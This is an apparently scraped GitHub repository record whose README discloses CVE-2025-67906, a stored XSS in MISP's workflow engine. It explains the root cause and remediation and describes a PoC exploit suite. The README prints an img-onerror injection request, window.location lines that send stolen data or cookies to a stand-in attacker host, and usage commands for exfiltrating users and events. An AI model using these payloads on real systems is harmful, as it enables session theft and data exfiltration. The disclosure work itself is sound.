{"id":49182275,"url":"https://github.com/franckferman/cve-2025-67906","last_synced_at":"2026-04-23T02:01:15.357Z","repository":{"id":347343000,"uuid":"1112669499","full_name":"franckferman/CVE-2025-67906","owner":"franckferman","description":"MISP \u003c= 2.5.27 - Stored Cross-Site Scripting via Workflow Engine (doT.js Template Injection).","archived":false,"fork":false,"pushed_at":"2026-03-27T14:50:01.000Z","size":36,"stargazers_count":2,"open_issues_count":0,"forks_count":0,"subscribers_count":0,"default_branch":"main","last_synced_at":"2026-03-28T00:26:03.614Z","etag":null,"topics":["0day","0day-exploit","0dayexploit","csp-bypass","cve","cve-2025","cve-2025-67906","cybersecurity","exfiltrate-data","misp","misp-exploit","pentest","pentesting","stored-xss","stored-xss-exploit","xss","xss-attacks","xss-exploit","xss-exploitation","xss-vulnerability"],"latest_commit_sha":null,"homepage":"https://nvd.nist.gov/vuln/detail/CVE-2025-67906","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"agpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/franckferman.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2025-12-09T00:10:27.000Z","updated_at":"2026-03-27T14:50:05.000Z","dependencies_parsed_at":null,"dependency_job_id":null,"html_url":"https://github.com/franckferman/CVE-2025-67906","commit_stats":null,"previous_names":["franckferman/cve-2025-67906"],"tags_count":null,"template":false,"template_full_name":null,"purl":"pkg:github/franckferman/CVE-2025-67906","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/franckferman%2FCVE-2025-67906","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/franckferman%2FCVE-2025-67906/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/franckferman%2FCVE-2025-67906/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/franckferman%2FCVE-2025-67906/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/franckferman","download_url":"https://codeload.github.com/franckferman/CVE-2025-67906/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/franckferman%2FCVE-2025-67906/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":32162611,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-04-22T17:06:48.269Z","status":"online","status_checked_at":"2026-04-23T02:00:06.710Z","response_time":53,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["0day","0day-exploit","0dayexploit","csp-bypass","cve","cve-2025","cve-2025-67906","cybersecurity","exfiltrate-data","misp","misp-exploit","pentest","pentesting","stored-xss","stored-xss-exploit","xss","xss-attacks","xss-exploit","xss-exploitation","xss-vulnerability"],"created_at":"2026-04-23T02:01:14.351Z","updated_at":"2026-04-23T02:01:15.349Z","avatar_url":"https://github.com/franckferman.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"\u003cp align=\"center\"\u003e\n  \u003cimg src=\"https://img.shields.io/badge/CVE--2025--67906-Critical%20(9.0)-c0392b?style=flat\" alt=\"CVE Score\"\u003e\n  \u003cimg src=\"https://img.shields.io/badge/GCVE--1--2025--0031-High%20(7.1)-orange?style=flat\" alt=\"GCVE\"\u003e\n  \u003cimg src=\"https://img.shields.io/badge/CWE--79-Stored%20XSS-orange?style=flat\" alt=\"CWE\"\u003e\n  \u003cimg src=\"https://img.shields.io/badge/License-AGPL--3.0-blue.svg\" alt=\"License\"\u003e\n  \u003cimg src=\"https://img.shields.io/badge/Python-3-blue.svg\" alt=\"Python\"\u003e\n  \u003cimg src=\"https://img.shields.io/badge/Dependencies-None-green.svg\" alt=\"No deps\"\u003e\n\u003c/p\u003e\n\n\u003cdiv align=\"center\"\u003e\n  \u003ch2\u003eCVE-2025-67906\u003c/h2\u003e\n  \u003cp\u003e\u003cstrong\u003eMISP \u003c= 2.5.27 - Stored Cross-Site Scripting via Workflow Engine (doT.js Template Injection)\u003c/strong\u003e\u003c/p\u003e\n  \u003cp\u003e\u003cem\u003eDiscovered by \u003ca href=\"https://github.com/franckferman\"\u003eFranck FERMAN\u003c/a\u003e\u003c/em\u003e\u003c/p\u003e\n  \u003cp\u003e\n    \u003ca href=\"#vulnerability-overview\"\u003eOverview\u003c/a\u003e -\n    \u003ca href=\"#root-cause-analysis\"\u003eRoot Cause\u003c/a\u003e -\n    \u003ca href=\"#attack-chain\"\u003eAttack Chain\u003c/a\u003e -\n    \u003ca href=\"#project-structure\"\u003eStructure\u003c/a\u003e -\n    \u003ca href=\"#usage\"\u003eUsage\u003c/a\u003e -\n    \u003ca href=\"#remediation\"\u003eRemediation\u003c/a\u003e -\n    \u003ca href=\"#references\"\u003eReferences\u003c/a\u003e\n  \u003c/p\u003e\n\u003c/div\u003e\n\n---\n\n## Vulnerability Overview\n\n**CVE-2025-67906** (GCVE-1-2025-0031) is a Stored Cross-Site Scripting (XSS) vulnerability in [MISP](https://www.misp-project.org/) (Malware Information Sharing Platform) versions up to and including **2.5.27**.\n\nThe vulnerability resides in `app/View/Elements/Workflows/executionPath.ctp`, the **Workflow execution path view** component. The `name` field of workflow triggers is persisted to the database without server-side sanitization and subsequently rendered into the DOM through the **doT.js** template engine without HTML escaping. An authenticated attacker can inject arbitrary HTML/JavaScript that executes in the browser session of any user who views the compromised workflow.\n\nBecause the payload is stored in the database and rendered on every page load, the XSS is **persistent** - it survives page refreshes, affects multiple users, and persists until the workflow is explicitly deleted.\n\n**Discovery:** This vulnerability was identified and responsibly disclosed by **Franck FERMAN**.\n\n---\n\n## CVSS Scores\n\nMultiple CVSS assessments exist for this vulnerability:\n\n| Source | Score | Severity | Vector |\n|---|---|---|---|\n| **NIST NVD** | **9.0** | **Critical** | `CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H` |\n| **GCVE (CIRCL)** | **7.1** | **High** | `CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H` |\n| **CNA (MITRE)** | **5.4** | **Medium** | `CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N` |\n\nThe score divergence reflects differing assessments of impact depth. The NIST NVD score (9.0) accounts for full Confidentiality, Integrity, and Availability impact given that the XSS payload executes with the victim's session privileges, enabling admin-level data exfiltration and workflow manipulation. The CNA score (5.4) considers only limited C/I impact for a generic XSS. The GCVE CVSS 4.0 score (7.1) introduces Attack Requirements (Privilege) and Active User Interaction modifiers.\n\nThe Scope is **Changed** across all assessments because the attacker's payload (injected via the MISP API) executes in a different security context (the victim's browser session).\n\n---\n\n## Root Cause Analysis\n\n### The Injection Vector\n\nMISP's Workflow Engine allows authenticated users to create and edit workflows via the REST API. The workflow data model includes a `trigger` component with a `name` field. This field is:\n\n1. **Accepted by the API** without input validation or HTML entity encoding\n2. **Persisted to the database** as raw text (no server-side sanitization)\n3. **Rendered in the browser** via the [doT.js](https://olado.github.io/doT/) JavaScript template engine\n\n### Why doT.js is Vulnerable Here\n\ndoT.js is a fast JavaScript templating engine. It uses `{{= }}` for interpolation, which **does not escape HTML** by default. The MISP Workflow Editor uses doT.js to render trigger metadata (including the `name` field) into the DOM. When the `name` field contains HTML like `\u003cimg src=x onerror=...\u003e`, the template engine inserts it as raw HTML, and the browser executes the embedded JavaScript.\n\nThe fix requires either:\n- Switching to doT.js's encoded output syntax `{{! }}` which HTML-escapes the value\n- Server-side sanitization before database insertion\n- Both (defense in depth)\n\n### Injection Point\n\n```\nPOST /workflows/edit/{id}\n\n{\n  \"Workflow\": {\n    \"id\": \"1\",\n    \"data\": \"{\\\"1\\\":{\\\"data\\\":{\\\"name\\\":\\\"\u003cimg src=x onerror=alert(1)\u003e\\\"}}}\"\n  }\n}\n```\n\nThe `name` value inside the `data` JSON field is the injection point. The entire workflow graph is serialized as a JSON string within the request body.\n\n### The Rendering Context: Client-Side Graphical Engine\n\nThe vulnerability is amplified by the architectural choice of using a **client-side template engine** (doT.js) to render the visual workflow editor. The Workflow Editor is a graphical drag-and-drop interface where each trigger/action is displayed as a visual block. The trigger `name` field is rendered as a label inside these graphical blocks.\n\ndoT.js builds the visual components by generating HTML strings from templates and inserting them into the DOM. The `{{= }}` interpolation syntax produces **unescaped output** - any data interpolated into the template is treated as markup, not text. If the same `name` field were rendered via `element.textContent` (which treats input as plain text) or via doT.js's own `{{! }}` encoded output syntax, no XSS would be possible regardless of the input content.\n\nThe attack surface exists precisely because:\n1. A **graphical editor** requires rich HTML rendering (styled blocks, icons, layouts)\n2. The template engine chosen (doT.js) defaults to **unescaped output** (`{{= }}`) for performance\n3. User-supplied metadata (trigger names) flows into these templates without sanitization\n4. The result is that any string stored in the `name` field is interpreted as HTML by the browser\n\nThis is a common vulnerability pattern in web applications that use client-side template engines to build interactive visual interfaces: the need for rich rendering creates an implicit trust relationship between the template and its data sources, and any unsanitized user input that reaches the template becomes executable code.\n\n### Why `\u003cimg onerror\u003e` and Not `\u003cscript\u003e`\n\nA raw `\u003cscript\u003e` tag injected via template interpolation will typically not execute in this context. Browsers do not run `\u003cscript\u003e` elements that are inserted into the DOM after initial page parsing (via `innerHTML` or equivalent). Event handler attributes like `onerror`, `onload`, or `onmouseover` on HTML elements bypass this restriction because they fire inline JavaScript when the browser processes the element's attributes, regardless of how the element was inserted.\n\nThe `\u003cimg src=\"x\" onerror=\"...\"\u003e` vector is preferred because:\n- The `src=\"x\"` guarantees an immediate load failure, triggering `onerror` without user interaction\n- It works across all browsers and does not require the element to be visible\n- It bypasses CSP `script-src` restrictions that block inline `\u003cscript\u003e` tags, because the execution happens via an event handler on a non-script element\n\n### CSP Bypass via Navigation (Exfiltration)\n\nMISP instances typically deploy Content Security Policy headers that restrict `connect-src`, preventing `fetch()` and `XMLHttpRequest` calls to external origins. The exfiltration payloads in this PoC bypass CSP by using **`window.location`** (navigation) instead of API calls:\n\n```javascript\n// BLOCKED by CSP connect-src:\nfetch('http://attacker/exfil?data=' + stolen_data);  // CSP violation\n\n// NOT blocked - navigation is not governed by CSP:\nwindow.location = 'http://attacker/exfil?data=' + stolen_data;  // works\n```\n\nCSP has no directive that controls where a page can navigate to. The `navigate-to` directive was proposed in CSP Level 3 but was never implemented by any browser and has been effectively abandoned. This makes `window.location` a reliable CSP bypass for data exfiltration from any XSS context, regardless of the CSP policy in place.\n\nThe tradeoff is that navigation is visible to the victim (the page changes). The `server/redirector.py` mitigates this by immediately issuing an HTTP 302 redirect back to the MISP instance, creating only a brief visible flash. From the victim's perspective, the page appears to reload.\n\n**Exfiltration data flow:**\n\n```\nVictim browser                 Attacker (redirector.py)           MISP\n      |                                 |                           |\n      |-- GET /exfil?data=\u003cstolen\u003e ----\u003e|                           |\n      |                                 | [captures data, prints]   |\n      |\u003c-- 302 Location: misp.url ------|                           |\n      |                                 |                           |\n      |-- GET /workflows/view/1 ----------------------------------------\u003e|\n      |\u003c-- Normal MISP page ---------------------------------------------|\n```\n\nThe entire round-trip takes ~100-200ms. The victim sees a page flash at most.\n\n### Real-World Impact of Stored XSS\n\nA common misconception in security assessments is that XSS vulnerabilities have limited practical impact (\"it's just an alert box\"). In real-world red team engagements, a Stored XSS - especially a no-click persistent one like this - is a high-value finding precisely because the attacker does not need the victim to click anything. The payload fires automatically when the page is rendered.\n\nWhat a Stored XSS enables in practice:\n\n- **Session hijacking**: if cookies are not marked `HttpOnly`, the attacker steals the admin session cookie and takes over the account. Even with `HttpOnly`, session tokens exposed in the DOM or in API responses can be extracted.\n- **Full page content exfiltration**: everything the victim sees, the attacker sees. User lists, event details, API keys displayed on admin pages, organization data - all readable via `document.body.innerHTML` or targeted DOM queries.\n- **Credential harvesting**: inject a fake login form or a session timeout overlay. The victim re-enters their password into attacker-controlled HTML.\n- **Lateral movement**: from a compromised admin session, create new API keys, modify sharing groups, push malicious events to connected MISP instances.\n- **Persistence**: the payload survives page reloads and affects every user who visits the workflow. It persists until explicitly deleted.\n\nWhen protections like CSP restrict outbound requests (`connect-src`, `script-src`), the exfiltration vector adapts - as demonstrated in this PoC with the `window.location` navigation bypass. CSP raises the bar but does not eliminate the risk. When `HttpOnly` prevents cookie theft, the attacker pivots to DOM-based exfiltration of the data directly visible in the authenticated session.\n\nIn a pentest/red team context, a Stored XSS on a platform like MISP (which aggregates threat intelligence, IOCs, and organizational data) is particularly critical because the data accessible through an admin session is itself high-sensitivity: indicators of compromise, internal investigation details, sharing group memberships, and inter-organizational trust relationships.\n\n---\n\n## Attack Chain\n\n```\n1. Attacker authenticates to MISP (any role with workflow create permission)\n   |\n2. POST /workflows/add -\u003e creates a new workflow, receives workflow_id + trigger_id\n   |\n3. POST /workflows/edit/{id} -\u003e injects HTML/JS payload into trigger \"name\" field\n   |   Payload: \u003cimg src=\"x\" onerror=\"[JAVASCRIPT]\"\u003e\n   |\n4. Payload persists in MISP database\n   |\n5. Victim (any authenticated user) visits /workflows/view/{id}\n   |\n6. doT.js renders trigger name as raw HTML -\u003e browser executes JavaScript\n   |\n7. Impact depends on payload mode:\n      - alert()           Proof of execution\n      - Session hijack    Steal session cookie\n      - Data exfil        Extract users, events, API keys from admin pages\n      - Credential theft  Inject fake login form\n```\n\n### Impact by Payload Mode\n\n| Mode | Impact | Requires |\n|---|---|---|\n| `alert` | Confirms XSS execution | Any user views workflow |\n| `alert_info` | Displays victim's email and URL | Any user views workflow |\n| `console_info` | Logs user email, role, URL to DevTools | Any user views workflow |\n| `exfiltrate_users` | Extracts user list (ID, Org, Role, Email) from `/admin/users/index` | Admin views workflow + attacker listener |\n| `exfiltrate_page` | Captures current page content and user identity | Any user views workflow + attacker listener |\n| `exfiltrate_events` | Extracts event list (ID, Org, Date, TLP, Info) | Any user views workflow + attacker listener |\n\n---\n\n## Affected Versions\n\n| Software | Affected | Fixed |\n|---|---|---|\n| MISP | \u003c= 2.5.27 | 2.5.28 |\n\nThe fix is included in [MISP v2.5.28](https://github.com/MISP/MISP/compare/v2.5.27...v2.5.28). The relevant patch commit: [1f39deb](https://github.com/MISP/MISP/commit/1f39deb572da7ecb5855e30ff3cc8cbcaa0c1054).\n\n---\n\n## MITRE ATT\u0026CK Mapping\n\n| ID | Tactic | Technique | Relevance |\n|---|---|---|---|\n| [T1059.007](https://attack.mitre.org/techniques/T1059/007/) | Execution | JavaScript | XSS payload executes JavaScript in victim's browser |\n| [T1189](https://attack.mitre.org/techniques/T1189/) | Initial Access | Drive-by Compromise | Stored payload triggers on page visit |\n| [T1557](https://attack.mitre.org/techniques/T1557/) | Collection | Adversary-in-the-Browser | Payload operates within the victim's authenticated session |\n| [T1539](https://attack.mitre.org/techniques/T1539/) | Credential Access | Steal Web Session Cookie | Session cookies accessible if HttpOnly is not set |\n| [T1005](https://attack.mitre.org/techniques/T1005/) | Collection | Data from Local System | Exfiltration of user lists, events, and page content |\n\n---\n\n## Project Structure\n\n```\npoc_alert_cve_2025_67906.py                # Simple PoC - alert() confirmation (~200 lines)\npoc_exfiltrate_cve_2025_67906.py           # Simple PoC - data exfiltration demo (~150 lines)\ncve_2025_67906.py           # Full exploit suite - 7 modes, custom payloads\nserver/\n  redirector.py             # Exfiltration listener with transparent 302 redirect\n```\n\n- **`poc_alert_cve_2025_67906.py`**: Minimal, readable. Injects `alert()` to confirm XSS. Read this first.\n- **`poc_exfiltrate_cve_2025_67906.py`**: Minimal exfiltration demo. Captures victim email/URL and sends to attacker server.\n- **`cve_2025_67906.py`**: Full exploit suite with 7 payload modes, custom payload support, quiet mode.\n- **`server/redirector.py`**: HTTP server that captures exfiltrated data and transparently redirects the victim back to MISP.\n\n---\n\n## Installation\n\n**Python 3** (standard library only, zero external dependencies).\n\n```bash\ngit clone https://github.com/franckferman/CVE-2025-67906.git\ncd CVE-2025-67906\n```\n\n---\n\n## Usage\n\n### Quick Verification (poc_alert_cve_2025_67906.py)\n\nConfirm the vulnerability exists with a harmless `alert()`:\n\n```bash\npython3 poc_alert_cve_2025_67906.py https://misp.target.org YOUR_API_KEY\n```\n\nVisit the URL printed by the script. An alert box confirms XSS execution.\n\n### Data Exfiltration Demo (poc_exfiltrate_cve_2025_67906.py)\n\n```bash\n# Terminal 1: start the exfiltration listener\npython3 server/redirector.py https://misp.target.org --port 8000\n\n# Terminal 2: inject the payload\npython3 poc_exfiltrate_cve_2025_67906.py https://misp.target.org YOUR_API_KEY --attacker YOUR_IP:8000\n```\n\nWhen a victim visits the workflow URL, their email, username, and page URL are captured by the listener.\n\n### Full Exploit Suite (cve_2025_67906.py)\n\n```bash\n# Alert mode (default)\npython3 cve_2025_67906.py https://misp.target.org API_KEY\n\n# Extract user list from admin page\npython3 cve_2025_67906.py https://misp.target.org API_KEY \\\n    --mode exfiltrate_users --attacker YOUR_IP:8000\n\n# Extract event list\npython3 cve_2025_67906.py https://misp.target.org API_KEY \\\n    --mode exfiltrate_events --attacker YOUR_IP:8000 --limit 50\n\n# Custom payload\npython3 cve_2025_67906.py https://misp.target.org API_KEY \\\n    --payload '\u003cimg src=x onerror=\"document.location=YOUR_URL+document.cookie\"\u003e'\n\n# Quiet mode (minimal output)\npython3 cve_2025_67906.py https://misp.target.org API_KEY --mode alert --quiet\n```\n\n### Available Modes\n\n| Mode | Description |\n|---|---|\n| `alert` | Simple alert box (default, safe for demo) |\n| `alert_info` | Alert box with victim URL, email, user agent |\n| `console` | Console.log confirmation |\n| `console_info` | Log user email, role, URL to DevTools console |\n| `exfiltrate_users` | Extract user list from `/admin/users/index` (requires admin victim) |\n| `exfiltrate_page` | Capture current page content and user identity |\n| `exfiltrate_events` | Extract event list with ID, Org, Date, TLP, Info |\n\n---\n\n## Remediation\n\n### For MISP administrators\n\n1. **Upgrade MISP** to 2.5.28 or later ([changelog](https://github.com/MISP/MISP/compare/v2.5.27...v2.5.28))\n2. **Restrict workflow creation** to trusted roles via MISP's role permission system\n3. **Monitor audit logs** for workflow creation/modification by unexpected users\n4. **Review existing workflows** for suspicious HTML in trigger names\n\n### For MISP developers\n\n1. **Switch doT.js interpolation** from `{{= }}` (raw) to `{{! }}` (HTML-encoded) for user-supplied fields\n2. **Server-side sanitization** of the `name` field before database insertion (strip HTML tags, encode entities)\n3. **Content Security Policy** headers to prevent inline script execution as defense in depth\n\n---\n\n## References\n\n### CVE Records\n\n- [NVD - CVE-2025-67906](https://nvd.nist.gov/vuln/detail/CVE-2025-67906) (NIST, CVSS 9.0 Critical)\n- [GCVE-1-2025-0031](https://vulnerability.circl.lu/vuln/gcve-1-2025-0031) (CIRCL Vulnerability-Lookup, CVSS 4.0: 7.1 High)\n\n### Patch and Advisories\n\n- [MISP v2.5.27...v2.5.28 Changelog](https://github.com/MISP/MISP/compare/v2.5.27...v2.5.28)\n- [Patch Commit 1f39deb](https://github.com/MISP/MISP/commit/1f39deb572da7ecb5855e30ff3cc8cbcaa0c1054)\n\n### Technical References\n\n- [MISP Project](https://www.misp-project.org/)\n- [MISP GitHub Repository](https://github.com/MISP/MISP)\n- [MISP Galaxy](https://misp-galaxy.org/)\n- [doT.js Template Engine](https://olado.github.io/doT/)\n- [CWE-79: Improper Neutralization of Input During Web Page Generation](https://cwe.mitre.org/data/definitions/79.html)\n- [MITRE ATT\u0026CK - T1059.007: JavaScript](https://attack.mitre.org/techniques/T1059/007/)\n- [OWASP XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Scripting_Prevention_Cheat_Sheet.html)\n\n### Credits\n\n- **Franck FERMAN** - Vulnerability discovery, PoC development\n- **Sami Mokaddem (Graphman)** - Credited in GCVE advisory\n\n---\n\n## Legal Disclaimer\n\nThis tool is provided for **authorized security auditing, academic research, and educational purposes only**. Usage against systems without explicit written permission from the system owner is illegal. The author accepts no liability for unauthorized or malicious use.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Ffranckferman%2Fcve-2025-67906","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Ffranckferman%2Fcve-2025-67906","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Ffranckferman%2Fcve-2025-67906/lists"}